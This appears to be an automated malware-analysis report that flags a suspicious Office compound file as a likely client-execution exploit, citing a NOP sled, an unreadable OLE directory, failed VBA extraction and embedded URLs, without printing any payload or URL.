MITRE ATT&CK
T1203 Exploitation for Client Execution

The sample is identified as malicious and contains a NOP sled, indicating a potential exploit. While VBA macros could not be extracted due to an unsupported format, the presence of embedded URLs and the overall structure suggest an attempt to execute malicious code. The file's structure and heuristic firings point towards an exploit targeting client execution, likely to download further stages.

  • CFB header with no readable streams medium OLE_PARSE_EMPTY_STREAMS
    The file begins with a valid OLE2/CFB header but exposes no directory streams. A non-empty compound document with an unreadable directory is anomalous — it is seen with truncated/corrupt files and, more importantly, with content deliberately shifted off byte boundaries to defeat parsers while the host application still recovers the object.
  • Unsupported Office format for VBA extraction info OFFICE_FORMAT_UNSUPPORTED
    The Analyzer could not extract VBA macros: the document may be legacy, encrypted or malformed.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
